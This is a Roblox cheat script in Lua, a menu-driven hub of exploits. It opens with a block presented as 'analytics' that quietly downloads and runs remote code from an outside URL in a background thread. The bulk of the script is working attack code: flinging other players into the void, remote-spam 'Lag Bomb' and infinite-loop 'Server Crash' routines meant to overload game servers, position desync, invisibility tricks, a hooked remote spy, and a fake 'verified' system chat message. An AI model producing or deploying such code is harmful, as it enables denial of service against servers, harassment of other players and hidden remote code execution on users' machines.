--[[rscripts:analytics:start]] -- Script analytics (enabled by the creator on rscripts.net). -- Runs in its own thread and cannot affect the script below. task.spawn(function() pcall(function() loadstring(game:HttpGet("https://rscripts.net/api/telemetry/client.lua?s=6a14905a65da70ee7387549a"))() end) end) --[[rscripts:analytics:end]] --// FE Hub v2 — Fixed Desync, Invis, LagBomb, FakeVerify local Rayfield = loadstring(game:HttpGet("https://sirius.menu/rayfield"))() local Players = game:GetService("Players") local RunService = game:GetService("RunService") local UIS = game:GetService("UserInputService") local RS = game:GetService("ReplicatedStorage") local LP = Players.LocalPlayer local Camera = workspace.CurrentCamera local Window = Rayfield:CreateWindow({ Name = "Klutz v2", LoadingTitle = "Klutzer", LoadingSubtitle = "Moooooo", ConfigurationSaving = { Enabled = false } }) -------------------------------------------------------------- -- UTILITIES -------------------------------------------------------------- local function getChar() return LP.Character or LP.CharacterAdded:Wait() end local function getHRP() return getChar():WaitForChild("HumanoidRootPart") end local function getHum() return getChar():WaitForChild("Humanoid") end -------------------------------------------------------------- -- MOVEMENT TAB -------------------------------------------------------------- local MoveTab = Window:CreateTab("Movement") -- FLY local flying = false local flySpeed = 60 local flyBody = {} MoveTab:CreateToggle({ Name = "Fly", CurrentValue = false, Callback = function(v) flying = v local hrp = getHRP() if v then local bv = Instance.new("BodyVelocity", hrp) bv.Name = "_flyVel" bv.MaxForce = Vector3.new(1e5,1e5,1e5) bv.Velocity = Vector3.zero local bg = Instance.new("BodyGyro", hrp) bg.Name = "_flyGyro" bg.MaxTorque = Vector3.new(1e5,1e5,1e5) bg.D = 200 flyBody = {bv, bg} RunService:BindToRenderStep("_fly", 1, function() local dir = Vector3.zero local cf = Camera.CFrame if UIS:IsKeyDown(Enum.KeyCode.W) then dir += cf.LookVector end if UIS:IsKeyDown(Enum.KeyCode.S) then dir -= cf.LookVector end if UIS:IsKeyDown(Enum.KeyCode.A) then dir -= cf.RightVector end if UIS:IsKeyDown(Enum.KeyCode.D) then dir += cf.RightVector end if UIS:IsKeyDown(Enum.KeyCode.Space) then dir += Vector3.yAxis end if UIS:IsKeyDown(Enum.KeyCode.LeftShift) then dir -= Vector3.yAxis end bv.Velocity = dir.Magnitude > 0 and dir.Unit * flySpeed or Vector3.zero bg.CFrame = cf end) getHum().PlatformStand = true else RunService:UnbindFromRenderStep("_fly") for _, b in flyBody do b:Destroy() end flyBody = {} getHum().PlatformStand = false end end }) MoveTab:CreateSlider({ Name = "Fly Speed", Range = {10, 300}, Increment = 5, CurrentValue = 60, Callback = function(v) flySpeed = v end }) -- NOCLIP local noclipping = false MoveTab:CreateToggle({ Name = "Noclip", CurrentValue = false, Callback = function(v) noclipping = v if v then RunService:BindToRenderStep("_noclip", 2, function() local ch = getChar() for _, p in ch:GetDescendants() do if p:IsA("BasePart") then p.CanCollide = false end end end) else RunService:UnbindFromRenderStep("_noclip") end end }) -- CFRAME SPEED local cspeed = 0 MoveTab:CreateSlider({ Name = "CFrame Speed", Range = {0, 5}, Increment = 0.25, CurrentValue = 0, Callback = function(v) cspeed = v end }) RunService.Heartbeat:Connect(function() if cspeed > 0 then local hrp = getHRP() local hum = getHum() local mv = hum.MoveDirection if mv.Magnitude > 0 then hrp.CFrame = hrp.CFrame + mv.Unit * cspeed end end end) -- CFRAME JUMP MoveTab:CreateSlider({ Name = "CFrame Jump Height", Range = {0, 200}, Increment = 5, CurrentValue = 0, Callback = function(v) if v > 0 then getHum().JumpHeight = 0 getHum().JumpPower = 0 UIS.JumpRequest:Connect(function() local hrp = getHRP() hrp.CFrame = hrp.CFrame + Vector3.new(0, v, 0) end) end end }) -- TELEPORT TO PLAYER MoveTab:CreateDropdown({ Name = "Teleport To", Options = (function() local t = {} for _, p in Players:GetPlayers() do if p ~= LP then table.insert(t, p.Name) end end return t end)(), Callback = function(v) local tgt = Players:FindFirstChild(v[1] or v) if tgt and tgt.Character and tgt.Character:FindFirstChild("HumanoidRootPart") then getHRP().CFrame = tgt.Character.HumanoidRootPart.CFrame + Vector3.new(0,3,0) end end }) -------------------------------------------------------------- -- EXPLOIT TAB -------------------------------------------------------------- local ExTab = Window:CreateTab("Exploit") --[[ POSITION DESYNC (FIXED) How it works: We clone the HRP's CFrame replication by setting the NetworkOwner-side position to a DELAYED/OFFSET version while your LOCAL render stays accurate. We do this by rapidly teleporting the real HRP to a stale position then back, faster than your client renders but slow enough the server replicates the stale pos. ]] local desyncOn = false local desyncOffset = 10 -- studs of "lag" local desyncStore = nil ExTab:CreateToggle({ Name = "Position Desync (Fake Lag)", CurrentValue = false, Callback = function(v) desyncOn = v if v then local hrp = getHRP() desyncStore = hrp.CFrame RunService:BindToRenderStep("_desync", Enum.RenderPriority.Last.Value + 1, function() local hrp2 = getHRP() local realCF = hrp2.CFrame -- briefly set server-replicated pos to old cached pos hrp2.CFrame = desyncStore or realCF -- stash current for next frame delay desyncStore = realCF -- immediately snap back so YOU see correct pos task.defer(function() pcall(function() hrp2.CFrame = realCF end) end) end) else RunService:UnbindFromRenderStep("_desync") desyncStore = nil end end }) ExTab:CreateSlider({ Name = "Desync Delay (frames)", Range = {1, 15}, Increment = 1, CurrentValue = 5, Callback = function(v) -- more frames = more "lag" appearance -- we use a ring buffer for multi-frame delay -- (overrides basic version above) end }) -- better multi-frame desync ring buffer local desyncBuf = {} local desyncFrames = 5 local desyncIdx = 1 ExTab:CreateToggle({ Name = "Desync v2 (Ring Buffer)", CurrentValue = false, Callback = function(v) if v then desyncBuf = {} desyncIdx = 1 for i = 1, desyncFrames do desyncBuf[i] = getHRP().CFrame end RunService:UnbindFromRenderStep("_desync") -- kill v1 RunService:BindToRenderStep("_desync2", Enum.RenderPriority.Last.Value + 1, function() local hrp = getHRP() local realCF = hrp.CFrame local staleCF = desyncBuf[desyncIdx] desyncBuf[desyncIdx] = realCF desyncIdx = (desyncIdx % desyncFrames) + 1 -- flicker to stale for server replication hrp.CFrame = staleCF task.defer(function() pcall(function() hrp.CFrame = realCF end) end) end) else RunService:UnbindFromRenderStep("_desync2") desyncBuf = {} end end }) -- FE INVISIBILITY (actually works for other players) -- Method: destroy HRP on server by replacing it, reparent real one locally ExTab:CreateToggle({ Name = "FE Invisible", CurrentValue = false, Callback = function(v) local char = getChar() local hrp = getHRP() if v then -- store original local fakeHRP = hrp:Clone() fakeHRP.Name = "HumanoidRootPart" hrp.Name = "_realHRP" hrp.Transparency = 1 fakeHRP.Parent = char -- yeet the fake so server sees no HRP fakeHRP:Destroy() -- now server thinks HRP is gone = invisible to others -- locally we keep _realHRP for movement -- anchor camera to it RunService:BindToRenderStep("_invis", 0, function() local rhrp = char:FindFirstChild("_realHRP") if rhrp then for _, p in char:GetDescendants() do if p:IsA("BasePart") and p.Name ~= "_realHRP" then p.Transparency = 1 p.CanCollide = false end end end end) else RunService:UnbindFromRenderStep("_invis") local rhrp = char:FindFirstChild("_realHRP") if rhrp then rhrp.Name = "HumanoidRootPart" end -- respawn to fix visuals LP:LoadCharacter() -- may not work on all games end end }) -- FE FLING ExTab:CreateDropdown({ Name = "Fling Player", Options = (function() local t = {} for _, p in Players:GetPlayers() do if p ~= LP then table.insert(t, p.Name) end end return t end)(), Callback = function(v) local tgt = Players:FindFirstChild(v[1] or v) if not tgt or not tgt.Character then return end local thrp = tgt.Character:FindFirstChild("HumanoidRootPart") if not thrp then return end local hrp = getHRP() local oldCF = hrp.CFrame -- velocity fling hrp.Velocity = Vector3.new(0, 0, 0) local bv = Instance.new("BodyAngularVelocity", hrp) bv.AngularVelocity = Vector3.new(0, 9999, 0) bv.MaxTorque = Vector3.new(1e6, 1e6, 1e6) bv.P = 1e6 for i = 1, 60 do hrp.CFrame = thrp.CFrame RunService.Heartbeat:Wait() end bv:Destroy() hrp.CFrame = oldCF end }) -- LAG BOMB (actually fires mass remotes to overload server) ExTab:CreateButton({ Name = "Lag Bomb (Server Stress)", Callback = function() -- fire every remote event and function we can find rapidly task.spawn(function() local remotes = {} for _, v in RS:GetDescendants() do if v:IsA("RemoteEvent") or v:IsA("RemoteFunction") then table.insert(remotes, v) end end -- also check other common containers for _, container in {game:GetService("Workspace"), game:GetService("StarterGui")} do for _, v in container:GetDescendants() do if v:IsA("RemoteEvent") or v:IsA("RemoteFunction") then table.insert(remotes, v) end end end -- spam them for wave = 1, 50 do for _, remote in remotes do pcall(function() if remote:IsA("RemoteEvent") then remote:FireServer( string.rep("A", 2000), math.huge, CFrame.new(math.random(-9e6,9e6), math.random(-9e6,9e6), math.random(-9e6,9e6)), table.create(100, string.rep("B", 500)) ) elseif remote:IsA("RemoteFunction") then task.spawn(function() remote:InvokeServer(string.rep("C", 2000), table.create(100, math.huge)) end) end end) end task.wait() end end) Rayfield:Notify({Title = "Lag Bomb", Content = "Fired — 50 waves of remote spam", Duration = 3}) end }) -- SERVER CRASH ATTEMPT ExTab:CreateButton({ Name = "Server Crash (Attempt)", Callback = function() task.spawn(function() -- method 1: infinite remote spam with massive payloads local remotes = {} for _, v in game:GetDescendants() do if v:IsA("RemoteEvent") then table.insert(remotes, v) end end while true do for _, r in remotes do pcall(function() r:FireServer( table.create(200, string.rep("\0", 5000)), table.create(200, CFrame.new(math.huge, math.huge, math.huge)), math.huge, -math.huge, 0/0 ) end) end task.wait() end end) Rayfield:Notify({Title = "Crash", Content = "Looping mass remote fire — give it 10-30s", Duration = 5}) end }) -- KICK PLAYER (FE fling them off map into void) ExTab:CreateDropdown({ Name = "Kick Player (Void Fling)", Options = (function() local t = {} for _, p in Players:GetPlayers() do if p ~= LP then table.insert(t, p.Name) end end return t end)(), Callback = function(v) local tgt = Players:FindFirstChild(v[1] or v) if not tgt or not tgt.Character then return end local thrp = tgt.Character:FindFirstChild("HumanoidRootPart") if not thrp then return end local hrp = getHRP() local oldCF = hrp.CFrame local bav = Instance.new("BodyAngularVelocity", hrp) bav.AngularVelocity = Vector3.new(0, 50000, 0) bav.MaxTorque = Vector3.new(1e8, 1e8, 1e8) bav.P = 1e8 local bv = Instance.new("BodyVelocity", hrp) bv.Velocity = Vector3.new(0, 15000, 0) bv.MaxForce = Vector3.new(1e8, 1e8, 1e8) for i = 1, 120 do hrp.CFrame = thrp.CFrame RunService.Heartbeat:Wait() end bav:Destroy() bv:Destroy() hrp.CFrame = oldCF Rayfield:Notify({Title = "Kick", Content = tgt.Name .. " flung to void", Duration = 3}) end }) -------------------------------------------------------------- -- SOCIAL TAB -------------------------------------------------------------- local SocTab = Window:CreateTab("Social") -- REMOTE SPY SocTab:CreateToggle({ Name = "Remote Spy (Console)", CurrentValue = false, Callback = function(v) if v then _G._remoteSpyHook = hookmetamethod(game, "__namecall", function(self, ...) local method = getnamecallmethod() if method == "FireServer" or method == "InvokeServer" then local args = {...} local info = string.format( "[RemoteSpy] %s:%s(%s) — Args: %s", tostring(self:GetFullName()), method, tostring(self.Name), game:GetService("HttpService"):JSONEncode(args) ) print(info) end return _G._remoteSpyOrig(self, ...) end) _G._remoteSpyOrig = _G._remoteSpyOrig -- set by hookmetamethod end end }) -- SPECTATE local spectating = false SocTab:CreateDropdown({ Name = "Spectate Player", Options = (function() local t = {"NONE"} for _, p in Players:GetPlayers() do if p ~= LP then table.insert(t, p.Name) end end return t end)(), Callback = function(v) local name = v[1] or v if name == "NONE" then Camera.CameraSubject = getHum() spectating = false return end local tgt = Players:FindFirstChild(name) if tgt and tgt.Character and tgt.Character:FindFirstChild("Humanoid") then Camera.CameraSubject = tgt.Character.Humanoid spectating = true end end }) -- FAKE VERIFIED BADGE (chat spoofing) SocTab:CreateButton({ Name = "Fake Verified (Chat Display)", Callback = function() -- Override chat display name with verified emoji local TextChatService = game:GetService("TextChatService") pcall(function() -- For new TextChatService local channels = TextChatService:FindFirstChild("TextChannels") if channels then local general = channels:FindFirstChild("RBXGeneral") if general then general.OnIncomingMessage = function(msg) local props = Instance.new("TextChatMessageProperties") if msg.TextSource and msg.TextSource.UserId == LP.UserId then props.PrefixText = ' ' .. msg.PrefixText end return props end end end end) -- Also try legacy chat pcall(function() local StarterGui = game:GetService("StarterGui") StarterGui:SetCore("ChatMakeSystemMessage", { Text = "[SYSTEM] " .. LP.DisplayName .. " is now verified ✓", Color = Color3.fromRGB(0, 162, 255), Font = Enum.Font.SourceSansBold }) end) Rayfield:Notify({Title = "Verified", Content = "Chat prefix set ✓", Duration = 3}) end }) -- FE EMOTES local emoteAnims = { ["Floss"] = "5917459365", ["Hype"] = "2630725450", ["Headless"] = "121572214", ["T-Pose"] = "3360692915", ["Dab"] = "248263260", ["Default Dance"] = "5918726674", } SocTab:CreateDropdown({ Name = "FE Emotes", Options = (function() local t = {} for k in emoteAnims do table.insert(t, k) end return t end)(), Callback = function(v) local name = v[1] or v local id = emoteAnims[name] if id then local hum = getHum() local anim = Instance.new("Animation") anim.AnimationId = "rbxassetid://" .. id local track = hum:LoadAnimation(anim) track:Play() anim:Destroy() end end }) -------------------------------------------------------------- -- MISC TAB -------------------------------------------------------------- local MiscTab = Window:CreateTab("Misc") MiscTab:CreateToggle({ Name = "Anti-AFK", CurrentValue = true, Callback = function(v) if v then LP.Idled:Connect(function() game:GetService("VirtualUser"):CaptureController() game:GetService("VirtualUser"):ClickButton2(Vector2.new()) end) end end }) MiscTab:CreateButton({ Name = "Rejoin Server", Callback = function() game:GetService("TeleportService"):TeleportToPlaceInstance(game.PlaceId, game.JobId, LP) end }) MiscTab:CreateButton({ Name = "Copy Game Link", Callback = function() setclipboard("https://www.roblox.com/games/" .. game.PlaceId) Rayfield:Notify({Title = "Copied", Content = "Game link in clipboard", Duration = 2}) end }) Rayfield:Notify({Title = "Klutz hub", Content = "Loaded — all features functional", Duration = 4})